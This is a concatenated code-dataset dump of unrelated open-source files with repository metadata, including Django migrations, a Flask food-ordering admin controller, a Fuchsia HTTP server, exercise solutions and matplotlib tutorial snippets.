#N/A
# because 'fish' is deleted, 'fish' isn't in the list of the keys.
# So prints N/A
print('Loops')
d = {'person':2, 'cat':4, 'spider':8}
for animal in d: # Only the key is returned
#print( animal )
legs = d[animal]
print('A %s has %d legs.' %(animal, legs))
print('Dictionary comprehensions')
# Dictionary comprehensions are similar to list comprehensions.
# But these allow you to easily construct dictionaries.
nums = [0, 1, 2, 3, 4]
even_num_to_square = {x: x**2 for x in nums if x%2 == 0}
print( even_num_to_square )
#{0: 0, 2: 4, 4: 16}
| 26.70229 | 81 | 0.636078 |
b6209c445497bea1ab0c7570c19a91057e31a667
| 1,111 |
py
|
Python
|
Webpage/arbeitsstunden/migrations/0015_auto_20210718_1006.py
|
ASV-Aachen/Website
|
bbfc02d71dde67fdf89a4b819b795a73435da7cf
|
[
"Apache-2.0"
] | null | null | null |
Webpage/arbeitsstunden/migrations/0015_auto_20210718_1006.py
|
ASV-Aachen/Website
|
bbfc02d71dde67fdf89a4b819b795a73435da7cf
|
[
"Apache-2.0"
] | 46 |
2022-01-08T12:03:24.000Z
|
2022-03-30T08:51:05.000Z
|
Webpage/arbeitsstunden/migrations/0015_auto_20210718_1006.py
|
ASV-Aachen/Website
|
bbfc02d71dde67fdf89a4b819b795a73435da7cf
|
[
"Apache-2.0"
] | null | null | null |
# Generated by Django 3.2.5 on 2021-07-18 10:06
import datetime
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('arbeitsstunden', '0014_auto_20210705_1948'),
]
operations = [
migrations.AlterField(
model_name='customhours',
name='season',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='arbeitsstunden.season', unique=True),
),
migrations.AlterField(
model_name='customhours',
name='used_account',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='arbeitsstunden.account', unique=True),
),
migrations.AlterField(
model_name='project',
name='tags',
field=models.ManyToManyField(blank=True, to='arbeitsstunden.tag'),
),
migrations.AlterField(
model_name='work',
name='setupDate',
field=models.DateField(default=datetime.date(2021, 7, 18)),
),
]
| 30.861111 | 123 | 0.616562 |
b6831c245d2462543eceb355b1183fa96b6f48f9
| 2,759 |
py
|
Python
|
research/cv/ntsnet/data_prepare.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 77 |
2021-10-15T08:32:37.000Z
|
2022-03-30T13:09:11.000Z
|
research/cv/ntsnet/data_prepare.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 3 |
2021-10-30T14:44:57.000Z
|
2022-02-14T06:57:57.000Z
|
research/cv/ntsnet/data_prepare.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 24 |
2021-10-15T08:32:45.000Z
|
2022-03-24T18:45:20.000Z
|
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""data prepare for CUB200-2011"""
import os
import shutil
import time
path = './'
ROOT_TRAIN = path + 'images/train/'
ROOT_TEST = path + 'images/test/'
BATCH_SIZE = 16
time_start = time.time()
path_images = path + 'images.txt'
path_split = path + 'train_test_split.txt'
trian_save_path = path + 'dataset/train/'
test_save_path = path + 'dataset/test/'
images = []
with open(path_images, 'r') as f:
for line in f:
images.append(list(line.strip('\n').split(',')))
split = []
with open(path_split, 'r') as f_:
for line in f_:
split.append(list(line.strip('\n').split(',')))
num = len(images)
for k in range(num):
file_name = images[k][0].split(' ')[1].split('/')[0]
aaa = int(split[k][0][-1])
if int(split[k][0][-1]) == 1:
if os.path.isdir(trian_save_path + file_name):
shutil.copy(path + 'images/' + images[k][0].split(' ')[1],
trian_save_path + file_name + '/' + images[k][0].split(' ')[1].split('/')[1])
else:
os.makedirs(trian_save_path + file_name)
shutil.copy(path + 'images/' + images[k][0].split(' ')[1],
trian_save_path + file_name + '/' + images[k][0].split(' ')[1].split('/')[1])
print('%s finished!' % images[k][0].split(' ')[1].split('/')[1])
else:
if os.path.isdir(test_save_path + file_name):
aaaa = path + 'images/' + images[k][0].split(' ')[1]
bbbb = test_save_path + file_name + '/' + images[k][0].split(' ')[1]
shutil.copy(path + 'images/' + images[k][0].split(' ')[1],
test_save_path + file_name + '/' + images[k][0].split(' ')[1].split('/')[1])
else:
os.makedirs(test_save_path + file_name)
shutil.copy(path + 'images/' + images[k][0].split(' ')[1],
test_save_path + file_name + '/' + images[k][0].split(' ')[1].split('/')[1])
print('%s finished!' % images[k][0].split(' ')[1].split('/')[1])
time_end = time.time()
print('CUB200 finished, time consume %s!!' % (time_end - time_start))
| 39.414286 | 101 | 0.576658 |
1531dbe5c427016a8df4fde2687fdccee363670d
| 428 |
py
|
Python
|
exercises/es/test_01_02_02.py
|
Jette16/spacy-course
|
32df0c8f6192de6c9daba89740a28c0537e4d6a0
|
[
"MIT"
] | 2,085 |
2019-04-17T13:10:40.000Z
|
2022-03-30T21:51:46.000Z
|
exercises/es/test_01_02_02.py
|
Jette16/spacy-course
|
32df0c8f6192de6c9daba89740a28c0537e4d6a0
|
[
"MIT"
] | 79 |
2019-04-18T14:42:55.000Z
|
2022-03-07T08:15:43.000Z
|
exercises/es/test_01_02_02.py
|
Jette16/spacy-course
|
32df0c8f6192de6c9daba89740a28c0537e4d6a0
|
[
"MIT"
] | 361 |
2019-04-17T13:34:32.000Z
|
2022-03-28T04:42:45.000Z
|
def test():
import spacy.tokens
import spacy.lang.de
assert isinstance(
nlp, spacy.lang.de.German
), "El objeto nlp debería ser un instance de la clase de alemán."
assert isinstance(
doc, spacy.tokens.Doc
), "¿Procesaste el texto con el objeto nlp para crear un doc?"
assert "print(doc.text)" in __solution__, "¿Imprimiste en pantalla el doc.text?"
__msg__.good("Sehr gut! :)")
| 30.571429 | 84 | 0.658879 |
17413695b385180e1c213696f5fde142687adead
| 421 |
py
|
Python
|
ProjectEuler_plus/euler_006.py
|
byung-u/HackerRank
|
4c02fefff7002b3af774b99ebf8d40f149f9d163
|
[
"MIT"
] | null | null | null |
ProjectEuler_plus/euler_006.py
|
byung-u/HackerRank
|
4c02fefff7002b3af774b99ebf8d40f149f9d163
|
[
"MIT"
] | null | null | null |
ProjectEuler_plus/euler_006.py
|
byung-u/HackerRank
|
4c02fefff7002b3af774b99ebf8d40f149f9d163
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
import sys
t = int(input().strip())
for a0 in range(t):
n = int(input().strip())
# http://oeis.org/search?q=1%2C9%2C36%2C100%2C225&language=english&go=Search
square_of_sum = (n ** 2 * (n + 1) ** 2) / 4
# http://oeis.org/search?q=1%2C5%2C14%2C30%2C55&sort=&language=english&go=Search
sum_of_squares = (n * (n + 1) * ((2 * n) + 1)) / 6
print(square_of_sum - sum_of_squares)
| 32.384615 | 84 | 0.612827 |
179d33a7638989f862bfe9250df35939c210d7ff
| 3,469 |
py
|
Python
|
scripts/component_graph/server/__main__.py
|
opensource-assist/fuschia
|
66646c55b3d0b36aae90a4b6706b87f1a6261935
|
[
"BSD-3-Clause"
] | 3 |
2020-08-02T04:46:18.000Z
|
2020-08-07T10:10:53.000Z
|
scripts/component_graph/server/__main__.py
|
opensource-assist/fuschia
|
66646c55b3d0b36aae90a4b6706b87f1a6261935
|
[
"BSD-3-Clause"
] | null | null | null |
scripts/component_graph/server/__main__.py
|
opensource-assist/fuschia
|
66646c55b3d0b36aae90a4b6706b87f1a6261935
|
[
"BSD-3-Clause"
] | 1 |
2020-08-07T10:11:49.000Z
|
2020-08-07T10:11:49.000Z
|
#!/usr/bin/env python3
# Copyright 2019 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Entry point to start the server.
Main will launch a root handler on port 8080 by default and start serving static
files
and api requests. This is not designed to run on the public internet and is
instead designed to be a development tool used to analyze the state of the
system.
"""
from http.server import HTTPServer, SimpleHTTPRequestHandler
from server.fpm import PackageManager
from server.net import ApiHandler, StaticHandler
import server.util
import argparse
def RootRequestHandlerFactory(package_server_url):
"""The RootRequestHandlerFactory is responsible for injecting the package server into a generated RootRequestHandler.
This is because the base http.server only accepts a class for
construction.
"""
class RootRequestHandler(SimpleHTTPRequestHandler):
"""Forwards requests to the static or api request handler if the path is defined correctly.
Otherwise 404 is returned.
"""
api_handler = ApiHandler(
PackageManager(
package_server_url, server.util.env.get_fuchsia_root()))
static_handler = StaticHandler(server.util.env.get_fuchsia_root())
def handle_api_request(self):
""" Responds to JSON API requests """
response = self.api_handler.respond(self.path)
if response:
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(response.encode())
else:
self.send_response(404)
def handle_static_request(self):
""" Responds to static file requests """
response = self.static_handler.respond(self.path)
if response:
self.send_response(200)
self.send_header("Content-type", response["type"])
self.end_headers()
self.wfile.write(response["data"])
else:
self.send_response(404)
def do_GET(self):
""" Root handler that forwards requests to sub handlers """
if self.path.startswith("/api/"):
return self.handle_api_request()
if self.path.startswith("/static/") or self.path == "/":
return self.handle_static_request()
return self.send_response(404)
return RootRequestHandler
def main(args):
"""Constructs the HTTP server and starts handling requests."""
logger = server.util.logging.get_logger("ComponentGraph")
logger.info(
"Starting Component Graph at %s", "http://0.0.0.0:{}/".format(
args.port))
logger.info(
"Connecting to Fuchsia Package Manager Server at %s",
args.package_server)
httpd = HTTPServer(
("0.0.0.0", args.port), RootRequestHandlerFactory(args.package_server))
httpd.serve_forever()
if __name__ == "__main__":
arg_parser = argparse.ArgumentParser(
description="Fuchsia component graph server.")
arg_parser.add_argument(
"--port", type=int, default=8080, help="Port to run server on")
arg_parser.add_argument(
"--package-server",
type=str,
default="http://0.0.0.0:8083",
help="Package server to get packages from")
main(arg_parser.parse_args())
| 36.135417 | 121 | 0.65898 |
bd66aa54eb82c259a3905c51ba14621d46ff0be5
| 677 |
py
|
Python
|
frappe-bench/apps/erpnext/erpnext/accounts/doctype/purchase_taxes_and_charges_template/purchase_taxes_and_charges_template.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | null | null | null |
frappe-bench/apps/erpnext/erpnext/accounts/doctype/purchase_taxes_and_charges_template/purchase_taxes_and_charges_template.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | null | null | null |
frappe-bench/apps/erpnext/erpnext/accounts/doctype/purchase_taxes_and_charges_template/purchase_taxes_and_charges_template.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from erpnext.accounts.doctype.sales_taxes_and_charges_template.sales_taxes_and_charges_template \
import valdiate_taxes_and_charges_template
class PurchaseTaxesandChargesTemplate(Document):
def validate(self):
valdiate_taxes_and_charges_template(self)
def autoname(self):
if self.company and self.title:
abbr = frappe.db.get_value('Company', self.company, 'abbr')
self.name = '{0} - {1}'.format(self.title, abbr)
| 35.631579 | 97 | 0.788774 |
e5d790bbdecf4b746b4b89c4021dcb6f8756d53d
| 269 |
py
|
Python
|
tests/test_router.py
|
Slanman3755/VERAS
|
07a6b26f9360e7bc605b767489cc86c683b57fae
|
[
"MIT"
] | null | null | null |
tests/test_router.py
|
Slanman3755/VERAS
|
07a6b26f9360e7bc605b767489cc86c683b57fae
|
[
"MIT"
] | null | null | null |
tests/test_router.py
|
Slanman3755/VERAS
|
07a6b26f9360e7bc605b767489cc86c683b57fae
|
[
"MIT"
] | null | null | null |
import pytest
from veras import router
@pytest.mark.parametrize("origin, destination, expected", [
("KLAX", "KSFO", "SUMMR2 STOKD SERFR SERFR4"),
])
def test_find_route(origin, destination, expected):
assert router.find_route(origin, destination) == expected
| 26.9 | 61 | 0.739777 |
0072ca442e737b8e11066610d1ed02add4b4a830
| 920 |
py
|
Python
|
pocketthrone/managers/eventmanager.py
|
herrschr/pocket-throne
|
819ebae250f45b0a4b15a8320e2836c0b5113528
|
[
"BSD-2-Clause"
] | 4 |
2016-06-05T16:48:04.000Z
|
2020-03-23T20:06:06.000Z
|
pocketthrone/managers/eventmanager.py
|
herrschr/pocket-throne
|
819ebae250f45b0a4b15a8320e2836c0b5113528
|
[
"BSD-2-Clause"
] | null | null | null |
pocketthrone/managers/eventmanager.py
|
herrschr/pocket-throne
|
819ebae250f45b0a4b15a8320e2836c0b5113528
|
[
"BSD-2-Clause"
] | null | null | null |
from pocketthrone.entities.event import *
from weakref import WeakKeyDictionary
class EventManager:
_tag = "[EventManager] "
listeners = WeakKeyDictionary()
eventQueue= []
@classmethod
def register(self, listener, tag="untagged"):
'''registers an object for receiving game events'''
self.listeners[listener] = 1
print(self._tag + "registered " + str(listener.__class__) + " in event queue.")
@classmethod
def unregister( self, listener):
'''unregisters an object from receiving game events'''
if listener in self.listeners:
print(self._tag + "unregistered " + str(listener.__class__) + " from event queue")
del self.listeners[listener]
@classmethod
def fire(self, event):
'''fires game event'''
if not isinstance(event, TickEvent) and not isinstance(event, MouseMovedEvent):
print(self._tag + "EVENT " + event.name)
for listener in list(self.listeners):
listener.on_event(event)
| 31.724138 | 85 | 0.727174 |
da9a059c634fcea4a96216e4d1ee920ceb4dd1fd
| 1,581 |
py
|
Python
|
INBa/2015/SOSNOVY_M_S/task_9_26.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
INBa/2015/SOSNOVY_M_S/task_9_26.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
INBa/2015/SOSNOVY_M_S/task_9_26.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
# Задание 9. Вариант 26
# Создайте игру, в которой компьютер выбирает какое-либо слово, а игрок должен его отгадать. Компьютер сообщает игроку, сколько букв в слове, и дает пять попыток узнать, есть ли какая-либо буква в слове, причем программа может отвечать только "Да" и "Нет". Вслед за тем игрок должен попробовать отгадать слово.
# Sosnovy M.S.
# 01.02.2016
import random
slova = ("нужен", "автомат", "программирование", "очень")
slovo = str(random.choice(slova))
bykv = len(slovo)
print("Я загадл слово в нем ", str(bykv), " букв. У Вас есть 5 попыток узнать есть л в этом слове какая-либо буква.")
print("Какую букву вы загадываете?")
bykva = str(input())
if bykva in slovo:
print ("Ваша буква встречаеться")
else:
print ("Ваша буква не встречаеться")
print("Какую букву вы загадываете?")
bykva = str(input())
if bykva in slovo:
print ("Ваша буква встречаеться")
else:
print ("Ваша буква не встречаеться")
print("Какую букву вы загадываете?")
bykva = str(input())
if bykva in slovo:
print ("Ваша буква встречаеться")
else:
print ("Ваша буква не встречаеться")
print("Какую букву вы загадываете?")
bykva = str(input())
if bykva in slovo:
print ("Ваша буква встречаеться")
else:
print ("Ваша буква не встречаеться")
print("Какую букву вы загадываете?")
bykva = str(input())
if bykva in slovo:
print ("Ваша буква встречаеться")
else:
print ("Ваша буква не встречаеться")
print("Ваш ответ:")
otvet = str(input())
while (otvet!=slovo):
print("Попробуйте еще раз...")
if (otvet==slovo):
print("Поздравляю Вы победили!!! WIN")
input ("Нажмите ENTER для продолжения")
| 32.265306 | 310 | 0.726755 |
97ac51c2848f660af486a16579c5dc13497a5b73
| 160 |
py
|
Python
|
main.py
|
vehne/Maiwagen
|
fb385d840fee298d073ab07306277ed3d3c5fea8
|
[
"MIT"
] | null | null | null |
main.py
|
vehne/Maiwagen
|
fb385d840fee298d073ab07306277ed3d3c5fea8
|
[
"MIT"
] | null | null | null |
main.py
|
vehne/Maiwagen
|
fb385d840fee298d073ab07306277ed3d3c5fea8
|
[
"MIT"
] | null | null | null |
import kivy
kivy.require('1.10.0') # Aktuell verwendete Kivy Version
from kivy.app import App
meineAnwendung=App()
print(meineAnwendung)
meineAnwendung.run()
| 20 | 57 | 0.7875 |
c15a5e8403813ad9bc2916dbdbb786b43c935f5d
| 2,110 |
py
|
Python
|
src/onegov/town6/views/files.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
src/onegov/town6/views/files.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
src/onegov/town6/views/files.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
from onegov.core.security import Private, Public
from onegov.file import File
from onegov.org.views.files import view_file_details, \
view_get_image_collection, view_upload_general_file, \
view_upload_image_file, view_file_digest, handle_sign,\
view_get_file_collection
from onegov.town6 import TownApp
from onegov.town6.layout import DefaultLayout, GeneralFileCollectionLayout, \
ImageFileCollectionLayout
from onegov.org.models import (
GeneralFile,
GeneralFileCollection,
ImageFileCollection,
)
@TownApp.html(model=GeneralFileCollection, template='files.pt',
permission=Private)
def town_view_file_collection(self, request):
return view_get_file_collection(
self, request, GeneralFileCollectionLayout(self, request))
@TownApp.html(model=GeneralFile, permission=Private, name='details')
def view_town_file_details(self, request):
return view_file_details(self, request, DefaultLayout(self, request))
@TownApp.html(model=ImageFileCollection, template='images.pt',
permission=Private)
def view_town_image_collection(self, request):
return view_get_image_collection(
self, request, ImageFileCollectionLayout(self, request))
@TownApp.html(model=GeneralFileCollection, name='upload',
request_method='POST', permission=Private)
def view_town_upload_general_file(self, request):
return view_upload_general_file(
self, request, DefaultLayout(self, request))
@TownApp.html(model=ImageFileCollection, name='upload',
request_method='POST', permission=Private)
def view_town_upload_image_file(self, request):
return view_upload_image_file(self, request, DefaultLayout(self, request))
@TownApp.html(model=GeneralFileCollection, name='digest', permission=Public)
def view_town_file_digest(self, request):
return view_file_digest(self, request, DefaultLayout(self, request))
@TownApp.html(model=File, name='sign', request_method='POST',
permission=Private)
def town_handle_sign(self, request):
return handle_sign(self, request, DefaultLayout(self, request))
| 35.762712 | 78 | 0.770142 |
c1d8f07a8b9b9aaca2cbd2db6ceafab45b5fe90e
| 9,018 |
py
|
Python
|
web/controllers/food/Food.py
|
yao6891/FlaskOrdering
|
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
|
[
"Apache-2.0"
] | 1 |
2020-03-24T04:26:34.000Z
|
2020-03-24T04:26:34.000Z
|
web/controllers/food/Food.py
|
yao6891/FlaskOrdering
|
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
|
[
"Apache-2.0"
] | null | null | null |
web/controllers/food/Food.py
|
yao6891/FlaskOrdering
|
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
from flask import Blueprint,request,jsonify,redirect
from common.libs.Helper import ops_render,get_current_date,i_pagination,get_dict_filter_field
from application import app,db
from common.models.food.Food import Food
from common.models.food.FoodCat import FoodCat
from common.models.food.FoodStockChangeLog import FoodStockChangeLog
from common.libs.UrlManager import UrlManager
from common.libs.food.FoodService import FoodService
from decimal import Decimal
from sqlalchemy import or_
route_food = Blueprint( 'food_page',__name__ )
@route_food.route( "/index" )
def index():
resp_data = {}
req = request.values
page = int(req['p']) if ('p' in req and req['p']) else 1
query = Food.query
if 'mix_kw' in req:
rule = or_(Food.name.ilike("%{0}%".format(req['mix_kw'])), Food.tags.ilike("%{0}%".format(req['mix_kw'])))
query = query.filter( rule )
if 'status' in req and int( req['status'] ) > -1 :
query = query.filter( Food.status == int( req['status'] ) )
if 'cat_id' in req and int( req['cat_id'] ) > 0 :
query = query.filter( Food.cat_id == int( req['cat_id'] ) )
page_params = {
'total':query.count(),
'page_size': app.config['PAGE_SIZE'],
'page':page,
'display':app.config['PAGE_DISPLAY'],
'url': request.full_path.replace("&p={}".format(page),"")
}
pages = i_pagination(page_params)
offset = ( page - 1 ) * app.config['PAGE_SIZE']
list = query.order_by( Food.id.desc() ).offset( offset ).limit( app.config['PAGE_SIZE'] ).all()
cat_mapping = get_dict_filter_field(FoodCat, FoodCat.id, "id", [])
resp_data['list'] = list
resp_data['pages'] = pages
resp_data['search_con'] = req
resp_data['status_mapping'] = app.config['STATUS_MAPPING']
resp_data['cat_mapping'] = cat_mapping
resp_data['current'] = 'index'
return ops_render( "food/index.html",resp_data )
@route_food.route( "/info" )
def info():
resp_data = {}
req = request.args
id = int(req.get("id", 0))
reback_url = UrlManager.build_url("/food/index")
if id < 1:
return redirect( reback_url )
info = Food.query.filter_by( id =id ).first()
if not info:
return redirect( reback_url )
stock_change_list = FoodStockChangeLog.query.filter( FoodStockChangeLog.food_id == id )\
.order_by( FoodStockChangeLog.id.desc() ).all()
resp_data['info'] = info
resp_data['stock_change_list'] = stock_change_list
resp_data['current'] = 'index'
return ops_render( "food/info.html",resp_data )
@route_food.route( "/set" ,methods = [ 'GET','POST'] )
def set():
if request.method == "GET":
resp_data = {}
req = request.args
id = int( req.get('id',0) )
info = Food.query.filter_by( id = id ).first()
if info and info.status != 1:
return redirect(UrlManager.build_url("/food/index"))
cat_list = FoodCat.query.all()
resp_data['info'] = info
resp_data['cat_list'] = cat_list
resp_data['current'] = 'index'
return ops_render( "food/set.html" ,resp_data)
resp = {'code': 200, 'msg': '操作成功~~', 'data': {}}
req = request.values
id = int(req['id']) if 'id' in req and req['id'] else 0
cat_id = int(req['cat_id']) if 'cat_id' in req else 0
name = req['name'] if 'name' in req else ''
price = req['price'] if 'price' in req else ''
main_image = req['main_image'] if 'main_image' in req else ''
summary = req['summary'] if 'summary' in req else ''
stock = int(req['stock']) if 'stock' in req else ''
tags = req['tags'] if 'tags' in req else ''
if cat_id < 1:
resp['code'] = -1
resp['msg'] = "请选择分类~~"
return jsonify(resp)
if name is None or len(name) < 1:
resp['code'] = -1
resp['msg'] = "请输入符合规范的名称~~"
return jsonify(resp)
if not price or len( price ) < 1:
resp['code'] = -1
resp['msg'] = "请输入符合规范的售卖价格~~"
return jsonify(resp)
price = Decimal(price).quantize(Decimal('0.00'))
if price <= 0:
resp['code'] = -1
resp['msg'] = "请输入符合规范的售卖价格~~"
return jsonify(resp)
if main_image is None or len(main_image) < 3:
resp['code'] = -1
resp['msg'] = "请上传封面图~~"
return jsonify(resp)
if summary is None or len(summary) < 3:
resp['code'] = -1
resp['msg'] = "请输入图书描述,并不能少于10个字符~~"
return jsonify(resp)
if stock < 1:
resp['code'] = -1
resp['msg'] = "请输入符合规范的库存量~~"
return jsonify(resp)
if tags is None or len(tags) < 1:
resp['code'] = -1
resp['msg'] = "请输入标签,便于搜索~~"
return jsonify(resp)
food_info = Food.query.filter_by(id=id).first()
before_stock = 0
if food_info:
model_food = food_info
before_stock = model_food.stock
else:
model_food = Food()
model_food.status = 1
model_food.created_time = get_current_date()
model_food.cat_id = cat_id
model_food.name = name
model_food.price = price
model_food.main_image = main_image
model_food.summary = summary
model_food.stock = stock
model_food.tags = tags
model_food.updated_time = get_current_date()
db.session.add(model_food)
ret = db.session.commit()
FoodService.setStockChangeLog( model_food.id,int(stock) - int(before_stock),"后台修改" )
return jsonify(resp)
@route_food.route( "/cat" )
def cat():
resp_data = {}
req = request.values
query = FoodCat.query
if 'status' in req and int( req['status'] ) > -1:
query = query.filter( FoodCat.status == int( req['status'] ) )
list = query.order_by( FoodCat.weight.desc(),FoodCat.id.desc() ).all()
resp_data['list'] = list
resp_data['search_con'] = req
resp_data['status_mapping'] = app.config['STATUS_MAPPING']
resp_data['current'] = 'cat'
return ops_render( "food/cat.html",resp_data )
@route_food.route( "/cat-set",methods = [ "GET","POST" ] )
def catSet():
if request.method == "GET":
resp_data = {}
req = request.args
id = int(req.get("id", 0))
info = None
if id:
info = FoodCat.query.filter_by( id = id ).first()
resp_data['info'] = info
resp_data['current'] = 'cat'
return ops_render( "food/cat_set.html" ,resp_data )
resp = {'code': 200, 'msg': '操作成功~~', 'data': {}}
req = request.values
id = req['id'] if 'id' in req else 0
name = req['name'] if 'name' in req else ''
weight = int( req['weight'] ) if ( 'weight' in req and int( req['weight']) > 0 ) else 1
if name is None or len( name ) < 1:
resp['code'] = -1
resp['msg'] = "请输入符合规范的分类名称~~"
return jsonify( resp )
food_cat_info = FoodCat.query.filter_by( id = id ).first()
if food_cat_info:
model_food_cat = food_cat_info
else:
model_food_cat = FoodCat()
model_food_cat.created_time = get_current_date()
model_food_cat.name = name
model_food_cat.weight = weight
model_food_cat.updated_time = get_current_date()
db.session.add(model_food_cat)
db.session.commit()
return jsonify( resp )
@route_food.route("/cat-ops",methods = [ "POST" ])
def catOps():
resp = {'code': 200, 'msg': '操作成功~~', 'data': {}}
req = request.values
id = req['id'] if 'id' in req else 0
act = req['act'] if 'act' in req else ''
if not id :
resp['code'] = -1
resp['msg'] = "请选择要操作的账号~~"
return jsonify(resp)
if act not in [ 'remove','recover' ] :
resp['code'] = -1
resp['msg'] = "操作有误,请重试~~"
return jsonify(resp)
food_cat_info = FoodCat.query.filter_by( id= id ).first()
if not food_cat_info:
resp['code'] = -1
resp['msg'] = "指定分类不存在~~"
return jsonify(resp)
if act == "remove":
food_cat_info.status = 0
elif act == "recover":
food_cat_info.status = 1
food_cat_info.update_time = get_current_date()
db.session.add( food_cat_info )
db.session.commit()
return jsonify(resp)
@route_food.route("/ops",methods=["POST"])
def ops():
resp = { 'code':200,'msg':'操作成功~~','data':{} }
req = request.values
id = req['id'] if 'id' in req else 0
act = req['act'] if 'act' in req else ''
if not id :
resp['code'] = -1
resp['msg'] = "请选择要操作的账号~~"
return jsonify(resp)
if act not in [ 'remove','recover' ]:
resp['code'] = -1
resp['msg'] = "操作有误,请重试~~"
return jsonify(resp)
food_info = Food.query.filter_by( id = id ).first()
if not food_info:
resp['code'] = -1
resp['msg'] = "指定美食不存在~~"
return jsonify(resp)
if act == "remove":
food_info.status = 0
elif act == "recover":
food_info.status = 1
food_info.updated_time = get_current_date()
db.session.add(food_info)
db.session.commit()
return jsonify( resp )
| 30.989691 | 114 | 0.594478 |
a9b1e5f530f1eb2e2c4155ee70c812905ec0376e
| 212 |
py
|
Python
|
Python/Courses/Python-Tutorials.Zulkarnine-Mahmud/00.Fundamentals/02.01-Complicated-Logic.py
|
shihab4t/Books-Code
|
b637b6b2ad42e11faf87d29047311160fe3b2490
|
[
"Unlicense"
] | null | null | null |
Python/Courses/Python-Tutorials.Zulkarnine-Mahmud/00.Fundamentals/02.01-Complicated-Logic.py
|
shihab4t/Books-Code
|
b637b6b2ad42e11faf87d29047311160fe3b2490
|
[
"Unlicense"
] | null | null | null |
Python/Courses/Python-Tutorials.Zulkarnine-Mahmud/00.Fundamentals/02.01-Complicated-Logic.py
|
shihab4t/Books-Code
|
b637b6b2ad42e11faf87d29047311160fe3b2490
|
[
"Unlicense"
] | null | null | null |
def complicated_logic(first, second):
print(f"You passed: {first}, {second}")
# return first + second * 12 - 4 * 12
number1 = 10
number2 = 3
result = complicated_logic(number1, number2)
print(result)
| 17.666667 | 44 | 0.679245 |
4142a722bde1ddff3f4dd78cd7f726007fba6f52
| 11,145 |
py
|
Python
|
IdeaProjects/matplotDev/matplotlibDev1.py
|
sinomiko/project
|
00fadb0033645f103692f5b06c861939a9d4aa0e
|
[
"BSD-3-Clause"
] | 1 |
2018-12-30T14:07:42.000Z
|
2018-12-30T14:07:42.000Z
|
IdeaProjects/matplotDev/matplotlibDev1.py
|
sinomiko/project
|
00fadb0033645f103692f5b06c861939a9d4aa0e
|
[
"BSD-3-Clause"
] | null | null | null |
IdeaProjects/matplotDev/matplotlibDev1.py
|
sinomiko/project
|
00fadb0033645f103692f5b06c861939a9d4aa0e
|
[
"BSD-3-Clause"
] | null | null | null |
# encoding: utf-8
import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
#matplotlib inline
# 4.1. 一维数据集
#
# 在下面的所有例子中,我们将按照存储在 NumPy ndarray 对象中的数据绘制图表。当然,matplotlib 也能够按照以不同的 Python 格式存储的数据(如列表对象)绘制图表。首先,我们需要用于绘制图表的数据。为此,我们生成20个标准正态分布(伪)随机数,保存在一个NumPy ndarray中:
np.random.seed(1000)
y = np.random.standard_normal(20)
# pyplot 子库中的 plot 函数是最基础的绘图函数,但是也相当强大。原则上,它需要两组数值。
#
# x 值:包含 x 坐标(横坐标)的列表或者数组
# y 值:包含 y 坐标(纵坐标)的列表或者数组
# 当然,x 和 y 值的 数量 必须相等,考虑下面两行代码,其输出如图所示
x = range(len(y))
plt.plot(x, y)
plt.show()
plt.figure(1) # 创建图表1
plt.figure(2) # 创建图表2
ax1 = plt.subplot(211) # 在图表2中创建子图1
ax2 = plt.subplot(212) # 在图表2中创建子图2
x = np.linspace(0, 3, 100)
for i in range(5):
plt.figure(1) #❶ # 选择图表1
plt.plot(x, np.exp(i*x/3))
plt.sca(ax1) #❷ # 选择图表2的子图1
plt.plot(x, np.sin(i*x))
plt.sca(ax2) # 选择图表2的子图2
plt.plot(x, np.cos(i*x))
plt.show()
X1 = range(0, 50)
Y1 = [num**2 for num in X1] # y = x^2
X2 = [0, 1]
Y2 = [0, 1] # y = x
